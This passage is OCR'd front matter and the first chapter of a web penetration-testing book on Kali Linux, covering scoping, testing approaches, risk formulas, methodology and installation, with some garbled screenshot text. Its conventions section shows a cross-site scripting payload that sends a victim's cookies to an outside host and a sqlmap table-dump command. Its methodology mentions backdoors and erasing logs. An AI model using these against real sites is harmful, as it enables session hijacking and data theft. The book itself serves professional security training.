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Preface

Kali is a Debian Linux based Penetration Testing arsenal used by security
professionals (and others) to perform security assessments. Kali offers a
range of toolsets customized for identifying and exploiting vulnerabilities in
systems. This book is written leveraging tools available in Kali Linux released
March 13th, 2013 as well as other open source applications.

Web Penetration Testing with Kali Linux is designed to be a guide for professional
Penetration Testers looking to include Kali in a web application penetration
engagement. Our goal is to identify the best Kali tool(s) for a specific assignment,
provide details on using the application(s), and offer examples of what information
could be obtained for reporting purposes based on expert field experience. Kali has
various programs and utilities; however, this book will focus on the strongest tool(s)
for a specific task at the time of publishing.

The chapters in this book are divided into tasks used in real world web application
Penetration Testing. Chapter 1, Penetration Testing and Setup, provides an overview
of Penetration Testing basic concepts, professional service strategies, background

on the Kali Linux environment, and setting up Kali for topics presented in this book.
Chapters 2-6, cover various web application Penetration Testing concepts including
configuration and reporting examples designed to highlight if topics covered can
accomplish your desired objective.

Chapter 7, Defensive Countermeasures, serves as a remediation source on systems
vulnerable to attacks presented in previous chapters. Chapter 8, Penetration Test
Executive Report, offers reporting best practices and samples that can serve as
templates for building executive level reports. The purpose of designing the book in
this fashion is to give the reader a guide for engaging a web application penetration
with the best possible tool(s) available in Kali, offer steps to remediate a vulnerability
and provide how data captured could be presented in a professional manner.
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What this book covers

Chapter 1, Penetration Testing and Setup, covers fundamentals of building a
professional Penetration Testing practice. Topics include differentiating a
Penetration Test from other services, methodology overview, and targeting
web applications. This chapter also provides steps used to set up a Kali
Linux environment for tasks covered in this book.

Chapter 2, Reconnaissance, provides various ways to gather information about a
target. Topics include highlighting popular free tools available on the Internet as
well as Information Gathering utilities available in Kali Linux.

Chapter 3, Server Side Attacks, focuses on identifying and exploiting vulnerabilities
in web servers and applications. Tools covered are available in Kali or other open
source utilities.

Chapter 4, Client Side Attacks, targets hosts systems. Topics include social engineering,
exploiting host system vulnerabilities, and attacking passwords, as they are the most
common means to secure host systems.

Chapter 5, Attacking Authentication, looks at how users and devices authenticate to web
applications. Topics include targeting the process of managing authentication sessions,
compromising how data is stored on host systems, and man-in-the-middle attack
techniques. This chapter also briefly touches on SQL and Cross-Site Scripting attacks.

Chapter 6, Web Attacks, explores how to take advantage of web servers and
compromise web applications using exploits such as browser exploitation, proxy
attacks, and password harvesting. This chapter also covers methods to interrupt
services using denial of service techniques.

Chapter 7, Defensive Countermeasures, provides best practices for hardening your
web applications and servers. Topics include security baselines, patch management,
password policies, and defending against attack methods covered in previous
chapters. This chapter also includes a focused forensics section, as it is important

to properly investigate a compromised asset to avoid additional negative impact.

Chapter 8, Penetration Test Executive Report, covers best practices for developing
professional post Penetration Testing service reports. Topics include an overview
of methods to add value to your deliverable, document formatting, and templates
that can be used to build professional reports.

[2]
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Preface

What you need for this book

Readers should have a basic understanding of web applications, networking
concepts, and Penetration Testing methodology. This book will include detailed
examples of how to execute an attack using tools offered in Kali Linux as well as
other open source applications. It is not required but beneficial to have experience
using previous versions of Backtrack or similar programs.

Hardware requirements for building a lab environment and setting up the Kali
Linux arsenal are covered in Chapter 1, Penetration Testing and Setup.

Who this book is for

The target audience for this book are professional Penetration Testers or others
looking to maximize Kali Linux for a web server or application Penetration Testing
exercise. If you are looking to identify how to perform a Penetration Test against
web applications and present findings to a customer is a professional manner then
this book is for you.

Conventions

In this book, you will find a number of styles of text that distinguish between
different kinds of information. Here are some examples of these styles, and an
explanation of their meaning.

Code words in text are shown as follows: " For example, you can call the profile
My First Scan or anything else you would like."

A block of code is set as follows:

<scripts>document.write ("<img src='http://kali.drchaos.com/var/www/xss_
lab/lab_script.php?"+document.cookie+"'>")</script>

Any command-line input or output is written as follows:

sqlmap -u http://www.drchaous.com/article.php?id=5 -T tablesnamehere -U
test --dump

-U test -dump

[3]
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Preface

New terms and important words are shown in bold. Words that you see on the
screen, in menus or dialog boxes for example, appear in the text like this: "Soon
as we click on the Execute button, we receive a SQL injection".

Warnings or important notes appear in a box like this.
VS

a1

~Q Tips and tricks appear like this.

Reader feedback

Feedback from our readers is always welcome. Let us know what you think about
this book —what you liked or may have disliked. Reader feedback is important for
us to develop titles that you really get the most out of.

To send us general feedback, simply send an e-mail to feedbackepacktpub.com,
and mention the book title via the subject of your message.

If there is a topic that you have expertise in and you are interested in either writing
or contributing to a book, see our author guide on www.packtpub.com/authors.

Customer support

Now that you are the proud owner of a Packt book, we have a number of things to
help you to get the most from your purchase.

Errata

Although we have taken every care to ensure the accuracy of our content, mistakes

do happen. If you find a mistake in one of our books —maybe a mistake in the text or
the code —we would be grateful if you would report this to us. By doing so, you can
save other readers from frustration and help us improve subsequent versions of this
book. If you find any errata, please report them by visiting http: //www.packtpub.
com/submit-errata, selecting your book, clicking on the errata submission form link,
and entering the details of your errata. Once your errata are verified, your submission
will be accepted and the errata will be uploaded on our website, or added to any list of
existing errata, under the Errata section of that title. Any existing errata can be viewed
by selecting your title from http: //www.packtpub. com/support.

[4]
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Preface

Piracy

Piracy of copyright material on the Internet is an ongoing problem across all media.
At Packt, we take the protection of our copyright and licenses very seriously. If you
come across any illegal copies of our works, in any form, on the Internet, please
provide us with the location address or website name immediately so that we can
pursue a remedy.

Please contact us at copyright@packtpub.com with a link to the suspected
pirated material.

We appreciate your help in protecting our authors, and our ability to bring
you valuable content.

Questions

You can contact us at questionse@packtpub.com if you are having a problem
with any aspect of the book, and we will do our best to address it.

[51]
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Penetration Testing
and Setup

Many organizations offer security services and use terms such as security audit,
network or risk assessment, and Penetration Test with overlapping meanings.
By definition, an audit is a measurable technical assessment of a system(s) or
application(s). Security assessments are evaluations of risk, meaning services
used to identify vulnerabilities in systems, applications, and processes.

Penetration Testing goes beyond an assessment by evaluating identified
vulnerabilities to verify if the vulnerability is real or a false positive. For example,
an audit or an assessment may utilize scanning tools that provide a few hundred
possible vulnerabilities on multiple systems. A Penetration Test would attempt

to attack those vulnerabilities in the same manner as a malicious hacker to verify
which vulnerabilities are genuine reducing the real list of system vulnerabilities to
a handful of security weaknesses. The most effective Penetration Tests are the ones
that target a very specific system with a very specific goal. Quality over quantity is
the true test of a successful Penetration Test. Enumerating a single system during
a targeted attack reveals more about system security and response time to handle
incidents than wide spectrum attack. By carefully choosing valuable targets, a
Penetration Tester can determine the entire security infrastructure and associated
risk for a valuable asset.

[ Penetration Testing does not make networks more secure! ]
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This is a common misinterpretation and should be clearly explained to all potential
customers. Penetration Testing evaluates the effectiveness of existing security. If

a customer does not have strong security then they will receive little value from
Penetration Testing services. As a consultant, it is recommended that Penetration
Testing services are offered as a means to verify security for existing systems once
a customer believes they have exhausted all efforts to secure those systems and are
ready to evaluate if there are any existing gaps in securing those systems.

Positioning a proper scope of work is critical when selling Penetration Testing services.
The scope of work defines what systems and applications are being targeted as well as
what toolsets may be used to compromise vulnerabilities that are found. Best practice
is working with your customer during a design session to develop an acceptable scope
of work that doesn't impact the value of the results.

Web Penetration Testing with Kali Linux — the next generation of BackTrack —is a
hands-on guide that will provide you step-by-step methods for finding vulnerabilities
and exploiting web applications. This book will cover researching targets, identifying
and exploiting vulnerabilities in web applications as well as clients using web
application services, defending web applications against common attacks, and
building Penetration Testing deliverables for professional services practice. We
believe this book is great for anyone who is interested in learning how to become a
Penetration Tester, users who are new to Kali Linux and want to learn the features
and differences in Kali versus BackTrack, and seasoned Penetration Testers who may
need a refresher or reference on new tools and techniques.

This chapter will break down the fundamental concepts behind various security
services as well as guidelines for building a professional Penetration Testing practice.
Concepts include differentiating a Penetration Test from other services, methodology
overview, and targeting web applications. This chapter also provides a brief
overview of setting up a Kali Linux testing or real environment.

Web application Penetration Testing
concepts

A web application is any application that uses a web browser as a client. This can
be a simple message board or a very complex spreadsheet. Web applications are
popular based on ease of access to services and centralized management of a system
used by multiple parties. Requirements for accessing a web application can follow
industry web browser client standards simplifying expectations from both the
service providers as well as the hosts accessing the application.

[8]
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Chapter 1

Web applications are the most widely used type of applications within any
organization. They are the standard for most Internet-based applications. If you look
at smartphones and tablets, you will find that most applications on these devices

are also web applications. This has created a new and large target-rich surface for
security professionals as well as attackers exploiting those systems.

Penetration Testing web applications can vary in scope since there is a vast number
of system types and business use cases for web application services. The core web
application tiers which are hosting servers, accessing devices, and data depository
should be tested along with communication between the tiers during a web
application Penetration Testing exercise.

An example for developing a scope for a web application Penetration Test is testing
a Linux server hosting applications for mobile devices. The scope of work at a
minimum should include evaluating the Linux server (operating system, network
configuration, and so on), applications hosted from the server, how systems and
users authenticate, client devices accessing the server and communication between
all three tiers. Additional areas of evaluation that could be included in the scope of
work are how devices are obtained by employees, how devices are used outside of
accessing the application, the surrounding network(s), maintenance of the systems,
and the users of the systems. Some examples of why these other areas of scope
matter are having the Linux server compromised by permitting connection from a
mobile device infected by other means or obtaining an authorized mobile device
through social media to capture confidential information.

We have included templates for scoping a web application penetration in Chapter

8, Penetration Test Executive Report. Some deliverable examples in this chapter offer
checkbox surveys that can assist with walking a customer through possible targets
for a web application Penetration Testing scope of work. Every scope of work should
be customized around your customer's business objectives, expected timeframe of
performance, allocated funds, and desired outcome. As stated before, templates
serve as tools to enhance a design session for developing a scope of work.

Penetration Testing methodology

There are logical steps recommended for performing a Penetration Test. The first
step is identifying the project's starting status. The most common terminology
defining the starting state is Black box testing, White box testing, or a blend
between White and Black box testing known as Gray box testing.
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Black box assumes the Penetration Tester has no prior knowledge of the target
network, company processes, or services it provides. Starting a Black box project
requires a lot of reconnaissance and, typically, is a longer engagement based on the
concept that real-world attackers can spend long durations of time studying targets
before launching attacks.

As a security professional, we find Black box testing presents some problems when
scoping a Penetration Test. Depending on the system and your familiarity with

the environment, it can be difficult to estimate how long the reconnaissance phase
will last. This usually presents a billing problem. Customers, in most cases, are not
willing to write a blank cheque for you to spend unlimited time and resources on
the reconnaissance phase; however, if you do not spend the time needed then your
Penetration Test is over before it began. It is also unrealistic because a motivated
attacker will not necessarily have the same scoping and billing restrictions as a
professional Penetration Tester. That is why we recommend Gray box over

Black box testing.

White box is when a Penetration Tester has intimate knowledge about the system.
The goals of the Penetration Test are clearly defined and the outcome of the report
from the test is usually expected. The tester has been provided with details on

the target such as network information, type of systems, company processes, and
services. White box testing typically is focused on a particular business objective
such as meeting a compliance need, rather than generic assessment, and could be
a shorter engagement depending on how the target space is limited. White box
assignments could reduce information gathering efforts, such as reconnaissance
services, equaling less cost for Penetration Testing services.

[ a An internal security group usually performs white box testing. ]

Gray box testing falls in between Black and White box testing. It is when the

client or system owner agrees that some unknown information will eventually

be discovered during a Reconnaissance phase, but allows the Penetration Tester

to skip this part. The Penetration Tester is provided some basic details of the target;
however, internal workings and some other privileged information is still kept
from the Penetration Tester.

[10]
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Real attackers tend to have some information about a target prior to engaging

the target. Most attackers (with the exception of script kiddies or individuals
downloading tools and running them) do not choose random targets. They are
motivated and have usually interacted in some way with their target before
attempting an attack. Gray box is an attractive choice approach for many security
professionals conducting Penetration Tests because it mimics real-world approaches
used by attackers and focuses on vulnerabilities rather than reconnaissance.

The scope of work defines how penetration services will be started and executed.
Kicking off a Penetration Testing service engagement should include an information
gathering session used to document the target environment and define the boundaries
of the assignment to avoid unnecessary reconnaissance services or attacking systems
that are out of scope. A well-defined scope of work will save a service provider from
scope creep (defined as uncontrolled changes or continuous growth in a project's
scope), operate within the expected timeframe and help provide more accurate
deliverable upon concluding services.

Real attackers do not have boundaries such as time, funding, ethics, or tools meaning
that limiting a Penetration Testing scope may not represent a real-world scenario.

In contrast to a limited scope, having an unlimited scope may never evaluate critical
vulnerabilities if a Penetration Test is concluded prior to attacking desired systems.
For example, a Penetration Tester may capture user credentials to critical systems
and conclude with accessing those systems without testing how vulnerable those
systems are to network-based attacks. It's also important to include who is aware of
the Penetration Test as a part of the scope. Real attackers may strike at anytime and
probably when people are least expecting it.

Some fundamentals for developing a scope of work for a Penetration Test are
as follows:

* Definition of Target System(s): This specifies what systems should be tested.
This includes the location on the network, types of systems, and business use
of those systems.

* Timeframe of Work Performed: When the testing should start and what is
the timeframe provided to meet specified goals. Best practice is NOT to limit
the time scope to business hours.

* How Targets Are Evaluated: What types of testing methods such as
scanning or exploitation are and not permitted? What is the risk associated
with permitted specific testing methods? What is the impact of targets that
become inoperable due to penetration attempts? Examples are; using social
networking by pretending to be an employee, denial of service attack on key
systems, or executing scripts on vulnerable servers. Some attack methods
may pose a higher risk of damaging systems than others.
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Tools and software: What tools and software are used during the Penetration
Test? This is important and a little controversial. Many security professionals
believe if they disclose their tools they will be giving away their secret sauce.
We believe this is only the case when security professionals used widely
available commercial products and are simply rebranding canned reports from
these products. Seasoned security professionals will disclose the tools being
used, and in some cases when vulnerabilities are exploited, documentation on
the commands used within the tools to exploit a vulnerability. This makes the
exploit re-creatable, and allows the client to truly understand how the system
was compromised and the difficulty associated with the exploit.

Notified Parties: Who is aware of the Penetration Test? Are they briefed
beforehand and able to prepare? Is reaction to penetration efforts part of
the scope being tested? If so, it may make sense not to inform the security
operations team prior to the Penetration Test. This is very important when
looking at web applications that may be hosted by another party such as a
cloud service provider that could be impacted from your services.

Initial Access Level: What type of information and access is provided

prior to kicking off the Penetration Test? Does the Penetration Tester have
access to the server via Internet and/or Intranet? What type of initial account
level access is granted? Is this a Black, White, or Gray box assignment for
each target?

Definition of Target Space: This defines the specific business functions
included in the Penetration Test. For example, conducting a Penetration Test
on a specific web application used by sales while not touching a different
application hosted from the same server.

Identification of Critical Operation Areas: Define systems that should not
be touched to avoid a negative impact from the Penetration Testing services.
Is the active authentication server off limits? It's important to make critical
assets clear prior to engaging a target.

Definition of the Flag: It is important to define how far a Penetration
Test should compromise a system or a process. Should data be removed
from the network or should the attacker just obtain a specific level of
unauthorized access?

Deliverable: What type of final report is expected? What goals does the
client specify to be accomplished upon closing a Penetration Testing service
agreement? Make sure the goals are not open-ended to avoid scope creep
of expected service. Is any of the data classified or designated for a specific
group of people? How should the final report be delivered? It is important
to deliver a sample report or periodic updates so that there are no surprises
in the final report.
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Remediation expectations: Are vulnerabilities expected to be documented
with possible remediation action items? Who should be notified if a system
is rendered unusable during a Penetration Testing exercise? What happens
if sensitive data is discovered? Most Penetration Testing services do NOT
include remediation of problems found.

Some service definitions that should be used to define the scope of services are:

Security Audit: Evaluating a system or an application's risk level against a
set of standards or baselines. Standards are mandatory rules while baselines
are the minimal acceptable level of security. Standards and baselines achieve
consistency in security implementations and can be specific to industries,
technologies, and processes.

Most requests for security serves for audits are focused on passing an
official audit (for example preparing for a corporate or a government

audit) or proving the baseline requirements are met for a mandatory set of
regulations (for example following the HIPAA and HITECH mandates for
protecting healthcare records). It is important to inform potential customers
if your audit services include any level of insurance or protection if an audit
isn't successful after your services. It's also critical to document the type

of remediation included with audit services (that is, whether you would
identify a problem, offer a remediation action plan or fix the problem).
Auditing for compliance is much more than running a security tool. It relies
heavily on the standard types of reporting and following a methodology that
is an accepted standard for the audit.

In many cases, security audits give customers a false sense of security
depending on what standards or baselines are being audited. Most standards
and baselines have a long update process that is unable to keep up with

the rapid changes in threats found in today's cyber world. It is HIGHLY
recommended to offer security services beyond standards and baselines to
raise the level of security to an acceptable level of protection for real-world
threats. Services should include following up with customers to assist with
remediation along with raising the bar for security beyond any industry
standards and baselines.

Vulnerability Assessment: This is the process in which network devices,
operating systems and application software are scanned in order to identify
the presence of known and unknown vulnerabilities. Vulnerability is a gap,
error, or weakness in how a system is designed, used, and protected. When
a vulnerability is exploited, it can result in giving unauthorized access,
escalation of privileges, denial-of-service to the asset, or other outcomes.
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Vulnerability Assessments typically stop once a vulnerability is found,
meaning that the Penetration Tester doesn't execute an attack against
the vulnerability to verify if it's genuine. A Vulnerability Assessment
deliverable provides potential risk associated with all the vulnerabilities
found with possible remediation steps. There are many solutions such as
Kali Linux that can be used to scan for vulnerabilities based on system/
server type, operating system, ports open for communication and other
means. Vulnerability Assessments can be White, Gray, or Black box
depending on the nature of the assignment.

Vulnerability scans are only useful if they calculate risk. The downside of
many security audits is vulnerability scan results that make security audits
thicker without providing any real value. Many vulnerability scanners
have false positives or identify vulnerabilities that are not really there. They
do this because they incorrectly identify the OS or are looking for specific
patches to fix vulnerabilities but not looking at rollup patches (patches that
contain multiple smaller patches) or software revisions. Assigning risk to
vulnerabilities gives a true definition and sense of how vulnerable a system
is. In many cases, this means that vulnerability reports by automated tools
will need to be checked.

Customers will want to know the risk associated with vulnerability and
expected cost to reduce any risk found. To provide the value of cost, it's
important to understand how to calculate risk.

Calculating risk

It is important to understand how to calculate risk associated with vulnerabilities
found, so that a decision can be made on how to react. Most customers look

to the CISSP triangle of CIA when determining the impact of risk. CIA is the
confidentiality, integrity, and availability of a particular system or application.
When determining the impact of risk, customers must look at each component
individually as well as the vulnerability in its entirety to gain a true perspective
of the risk and determine the likelihood of impact.

It is up to the customer to decide if the risk associated to vulnerability found justifies
or outweighs the cost of controls required to reduce the risk to an acceptable level.

A customer may not be able to spend a million dollars on remediating a threat that
compromises guest printers; however, they will be very willing to spend twice as
much on protecting systems with the company's confidential data.
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The Certified Information Systems Security Professional (CISSP) curriculum lists
formulas for calculating risk as follow.

A Single Loss Expectancy (SLE) is the cost of a single loss to an Asset Value (AV).
Exposure Factor (EF) is the impact the loss of the asset will have to an organization
such as loss of revenue due to an Internet-facing server shutting down. Customers
should calculate the SLE of an asset when evaluating security investments to help
identify the level of funding that should be assigned for controls. If a SLE would
cause a million dollars of damage to the company, it would make sense to consider
that in the budget.

The Single Loss Expectancy formula:
SLE=AV *EF

The next important formula is identifying how often the SLE could occur. If an

SLE worth a million dollars could happen once in a million years, such as a meteor
falling out of the sky, it may not be worth investing millions in a protection dome
around your headquarters. In contrast, if a fire could cause a million dollars worth
of damage and is expected every couple of years, it would be wise to invest in a fire
prevention system. The number of times an asset is lost is called the Annual Rate of
Occurrence (ARO).

The Annualized Loss Expectancy (ALE) is an expression of annual anticipated loss
due to risk. For example, a meteor falling has a very low annualized expectancy
(once in a million years), while a fire is a lot more likely and should be calculated in
future investments for protecting a building.

Annualized Loss Expectancy formula:
ALE = SLE * ARO

The final and important question to answer is the risk associated with an asset used
to figure out the investment for controls. This can determine if and how much the
customer should invest into remediating vulnerability found in a asset.

Risk formula:
Risk = Asset Value * Threat * Vulnerability * Impact

It is common for customers not to have values for variables in Risk Management
formulas. These formulas serve as guidance systems, to help the customer better
understand how they should invest in security. In my previous examples, using the
formulas with estimated values for a meteor shower and fire in a building, should
help explain with estimated dollar value why a fire prevention system is a better
investment than metal dome protecting from falling objects.
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Penetration Testing is the method of attacking system vulnerabilities in a similar way
to real malicious attackers. Typically, Penetration Testing services are requested when
a system or network has exhausted investments in security and clients are seeking to
verify if all avenues of security have been covered. Penetration Testing can be Black,
White, or Gray box depending on the scope of work agreed upon.

The key difference between a Penetration Test and Vulnerability Assessment is

that a Penetration Test will act upon vulnerabilities found and verify if they are

real reducing the list of confirmed risk associated with a target. A Vulnerability
Assessment of a target could change to a Penetration Test once the asset owner

has authorized the service provider to execute attacks against the vulnerabilities
identified in a target. Typically, Penetration Testing services have a higher cost
associated since the services require more expensive resources, tools, and time to
successfully complete assignments. One popular misconception is that a Penetration
Testing service enhances IT security since services have a higher cost associated
than other security services:

* Penetration Testing does not make IT networks more secure, since services
evaluate existing security! A customer should not consider a Penetration
Test if there is a belief the target is not completely secure.

* Penetration Testing can cause a negative impact to systems: It's critical to
have authorization in writing from the proper authorities before starting
a Penetration Test of an asset owned by another party. Not having proper
authorization could be seen as illegal hacking by authorities. Authorization
should include who is liable for any damages caused during a penetration
exercise as well as who should be contacted to avoid future negative impacts
once a system is damaged. Best practice is alerting the customers of all the
potential risks associated with each method used to compromise a target
prior to executing the attack to level set expectations. This is also one of the
reasons we recommend targeted Penetration Testing with a small scope.
It is easier to be much more methodical in your approach. As a common
best practice, we receive confirmation, which is a worst case scenario, that a
system can be restored by a customer using backups or some other disaster
recovery method.

Penetration Testing deliverable expectations should be well defined while agreeing
on a scope of work. The most common methods by which hackers obtain information
about targets is through social engineering via attacking people rather than systems.
Examples are interviewing for a position within the organization and walking out a
week later with sensitive data offered without resistance. This type of deliverable may
not be acceptable if a customer is interested in knowing how vulnerable their web
applications are to remote attack. It is also important to have a defined end-goal so
that all parties understand when the penetration services are considered concluded.
Usually, an agreed-upon deliverable serves this purpose.
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A Penetration Testing engagement's success for a service provider is based on
profitability of time and services used to deliver the Penetration Testing engagement.
A more efficient and accurate process means better results for less services used.

The higher the quality of the deliverables, the closer the service can meet customer
expectation, resulting in a better reputation and more future business. For these
reasons, it's important to develop a methodology for executing Penetration Testing
services as well as for how to report what is found.

Kali Penetration Testing concepts

Kali Linux is designed to follow the flow of a Penetration Testing service
engagement. Regardless if the starting point is White, Black, or Gray box testing,
there is a set of steps that should be followed when Penetration Testing a target
with Kali or other tools.

Step 1 — Reconnaissance

You should learn as much as possible about a target's environment and system
traits prior to launching an attack. The more information you can identify about

a target, the better chance you have to identify the easiest and fastest path to success.
Black box testing requires more reconnaissance than White box testing since data is
not provided about the target(s). Reconnaissance services can include researching

a target's Internet footprint, monitoring resources, people, and processes, scanning
for network information such as IP addresses and systems types, social engineering
public services such as help desk and other means.

Reconnaissance is the first step of a Penetration Testing service engagement
regardless if you are verifying known information or seeking new intelligence

on a target. Reconnaissance begins by defining the target environment based on

the scope of work. Once the target is identified, research is performed to gather
intelligence on the target such as what ports are used for communication, where

it is hosted, the type of services being offered to clients, and so on. This data will
develop a plan of action regarding the easiest methods to obtain desired results.
The deliverable of a reconnaissance assignment should include a list of all the assets
being targeted, what applications are associated with the assets, services used, and
possible asset owners.

Kali Linux offers a category labeled Information Gathering that serves as
a Reconnaissance resource. Tools include methods to research network, data
center, wireless, and host systems.
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The following is the list of Reconnaissance goals:

* Identify target(s)

* Define applications and business use
* Identify system types

* Identify available ports

* Identify running services

* Passively social engineer information

* Document findings

Step 2 — Target evaluation

Once a target is identified and researched from Reconnaissance efforts, the next
step is evaluating the target for vulnerabilities. At this point, the Penetration
Tester should know enough about a target to select how to analyze for possible
vulnerabilities or weakness. Examples for testing for weakness in how the web
application operates, identified services, communication ports, or other means.
Vulnerability Assessments and Security Audits typically conclude after this
phase of the target evaluation process.

Capturing detailed information through Reconnaissance improves accuracy

of targeting possible vulnerabilities, shortens execution time to perform target
evaluation services, and helps to avoid existing security. For example, running

a generic vulnerability scanner against a web application server would probably
alert the asset owner, take a while to execute and only generate generic details
about the system and applications. Scanning a server for a specific vulnerability
based on data obtained from Reconnaissance would be harder for the asset owner
to detect, provide a good possible vulnerability to exploit, and take seconds

to execute.

Evaluating targets for vulnerabilities could be manual or automated through
tools. There is a range of tools offered in Kali Linux grouped as a category labeled
Vulnerability Analysis. Tools range from assessing network devices to databases.

The following is the list of Target Evaluation goals:

* Evaluation targets for weakness
* Identify and prioritize vulnerable systems
* Map vulnerable systems to asset owners

* Document findings
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Step 3 — Exploitation

This step exploits vulnerabilities found to verify if the vulnerabilities are real and what
possible information or access can be obtained. Exploitation separates Penetration
Testing services from passive services such as Vulnerability Assessments and Audits.
Exploitation and all the following steps have legal ramifications without authorization
from the asset owners of the target.

The success of this step is heavily dependent on previous efforts. Most exploits
are developed for specific vulnerabilities and can cause undesired consequences
if executed incorrectly. Best practice is identifying a handful of vulnerabilities and
developing an attack strategy based on leading with the most vulnerable first.

Exploiting targets can be manual or automated depending on the end objective.
Some examples are running SQL Injections to gain admin access to a web application
or social engineering a Helpdesk person into providing admin login credentials.

Kali Linux offers a dedicated catalog of tools titled Exploitation Tools for exploiting
targets that range from exploiting specific services to social engineering packages.

The following is the list of Exploitation goals:

* Exploit vulnerabilities

* Obtain foothold

* Capture unauthorized data

* Aggressively social engineer

* Attack other systems or applications

* Document findings

Step 4 - Privilege Escalation

Having access to a target does not guarantee accomplishing the goal of a penetration
assignment. In many cases, exploiting a vulnerable system may only give limited
access to a target's data and resources. The attacker must escalate privileges granted
to gain the access required to capture the flag, which could be sensitive data, critical
infrastructure, and so on.

Privilege Escalation can include identifying and cracking passwords, user accounts,
and unauthorized IT space. An example is achieving limited user access, identifying
a shadow file containing administration login credentials, obtaining an administrator
password through password cracking, and accessing internal application systems
with administrator access rights.
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Kali Linux includes a number of tools that can help gain Privilege Escalation through
the Password Attacks and Exploitation Tools catalog. Since most of these tools
include methods to obtain initial access and Privilege Escalation, they are gathered
and grouped according to their toolsets.

The following is a list of Privilege Escalation goals:

* Obtain escalated level access to system(s) and network(s)
* Uncover other user account information
* Access other systems with escalated privileges

* Document findings

Step 5 — maintaining a foothold

The final step is maintaining access by establishing other entry points into the target
and, if possible, covering evidence of the penetration. It is possible that penetration
efforts will trigger defenses that will eventually secure how the Penetration Tester
obtained access to the network. Best practice is establishing other means to access
the target as insurance against the primary path being closed. Alternative access
methods could be backdoors, new administration accounts, encrypted tunnels,

and new network access channels.

The other important aspect of maintaining a foothold in a target is removing
evidence of the penetration. This will make it harder to detect the attack thus
reducing the reaction by security defenses. Removing evidence includes erasing
user logs, masking existing access channels, and removing the traces of tampering
such as error messages caused by penetration efforts.

Kali Linux includes a catalog titled Maintaining Access focused on keeping a
foothold within a target. Tools are used for establishing various forms of backdoors
into a target.

The following is a list of goals for maintaining a foothold:

* Establish multiple access methods to target network

* Remove evidence of authorized access

* Repair systems impacting by exploitation

* Inject false data if needed

* Hide communication methods through encryption and other means

*  Document findings
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Introducing Kali Linux

The creators of BackTrack have released a new, advanced Penetration Testing
Linux distribution named Kali Linux. BackTrack 5 was the last major version of

the BackTrack distribution. The creators of BackTrack decided that to move forward
with the challenges of cyber security and modern testing a new foundation was
needed. Kali Linux was born and released on March 13th, 2013. Kali Linux is based
on Debian and an FHS-compliant filesystem.

Kali has many advantages over BackTrack. It comes with many more updated tools.
The tools are streamlined with the Debian repositories and synchronized four times

a day. That means users have the latest package updates and security fixes. The new
compliant filesystems translate into running most tools from anywhere on the system.
Kali has also made customization, unattended installation, and flexible desktop
environments strong features in Kali Linux.

Kali Linux is available for download at http://www.kali.org/.

Kali system setup

Kali Linux can be downloaded in a few different ways. One of the most popular
ways to get Kali Linux is to download the ISO image. The ISO image is available
in 32-bit and 64-bit images.

If you plan on using Kali Linux on a virtual machine such as VMware, there

is a VM image prebuilt. The advantage of downloading the VM image is that

it comes preloaded with VMware tools. The VM image is a 32-bit image with
Physical Address Extension support, or better known as PAE. In theory, a PAE
kernel allows the system to access more system memory than a traditional 32-bit
operating system. There have been some well-known personalities in the world of
operating systems that have argued for and against the usefulness of a PAE kernel.
However, the authors of this book suggest using the VM image of Kali Linux if you
plan on using it in a virtual environment.

Running Kali Linux from external media

Kali Linux can be run without installing software on a host hard drive by accessing

it from an external media source such as a USB drive or DVD. This method is simple

to enable; however, it has performance and operational implementations. Kali Linux
having to load programs from a remote source would impact performance and some
applications or hardware settings may not operate properly. Using read-only storage
media does not permit saving custom settings that may be required to make Kali Linux
operate correctly. It's highly recommended to install Kali Linux on a host hard drive.
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Installing Kali Linux

Installing Kali Linux on your computer is straightforward and similar to installing
other operating systems. First, you'll need compatible computer hardware. Kali

is supported on i386, amd64, and ARM (both armel and armhf) platforms. The
hardware requirements are shown in the following list, although we suggest
exceeding the minimum amount by at least three times. Kali Linux, in general,

will perform better if it has access to more RAM and is installed on newer machines.
Download Kali Linux and either burn the ISO to DVD, or prepare a USB stick with
Kali Linux Live as the installation medium. If you do not have a DVD drive or a
USB port on your computer, check out the Kali Linux Network Install.

The following is a list of minimum installation requirements:

A minimum of 8 GB disk space for installing Kali Linux.
For i386 and amd64 architectures, a minimum of 512MB RAM.
CD-DVD Drive / USB boot support.

You will also need an active Internet connection before installation. This
is very important or you will not be able to configure and access repositories
during installation.

1.

When you start Kali you will be presented with a Boot Install screen.
You may choose what type of installation (GUI-based or text-based)
you would like to perform.

-

LALALD ELORIWIE

Boot menu

Live (amdb4)
Live (amdb4 failsafe)

Text-node install
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2. Select the local language preference, country, and
keyboard preferences.

Y KALILINUX ...

ABLE TO HEAR

Select a language

Choose the language to be used for the installation process, The selected language will also be the
default language for the installed system.

Language:

Chinese (simplified) - (i) [+l

Chinese (Traditional) - F(8E#)

Croatian - Hrvatski

Czech - Cedtina

Danish - Dansk

Dutch - Nederlands

Dzongkha . Em

Esperanto - Esperanto

Estonian - Eesti

Finnish - Suomi

French - Francais

Galician - Galego

Georgian - JeGmpme

German - Deutsch

Graal - EMinua [
[ screenshot | [

Go Back

| Continue

3. Select a hostname for the Kali Linux host. The default
hostname is Kali.

Y KALILINUX i

Configure the network

Please enter the hostname for this system.

The hostname is a single word that identifies your system to the network. If you don't know what your
hostname should be, consult your network administrator. If you are setting up your own home network,
you can make something up here.

Hostname:

[a]

| Screenshot Go Back

Continue
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4. Select a password. Simple passwords may not work so
chose something that has some degree of complexity.

N KALILINUX -

Set up users and passwords

You need to set a password for 'root’', the system administrative account. A malicious or unqualified user
with root access can have disastrous results, so you should take care to choose a root password that is
not easy to guess. It should not be a word found in dictionaries, or a word that could be easily
associated with you.

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals.

The root user should not have an empty password. If you leave this empty, the root account will be

disabled and the system's initial user account will be given the power to become root using the "sudo"
command.

Note that you will not be able to see the password as you type it.
Root password:
[

Please enter the same root password again to verify that you have typed it correctly.
Re-enter passward to verify:

Screenshot | GoBack

5. The next prompt asks for your timezone. Modify accordingly
and select Continue. The next screenshot shows selecting
Eastern standard time.

Y KALILINUX oo

Configure the clock

If the desired time zone is not listed, then please go back to the step "Choose language" and select a
country that uses the desired time zone (the country where you live or are located).
Select your time zone:

Central
Mountain
Pacific
Alaska
Hawaii
Arizona

East Indiana

Samoa

Screenshot | GoBack uContinue
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The installer will ask to set up your partitions. If you are installing Kali on a virtual
image, select Guided Install - Whole Disk. This will destroy all data on the disk
and install Kali Linux. Keep in mind that on a virtual machine, only the virtual disk
is getting destroyed. Advanced users can select manual configurations to customize
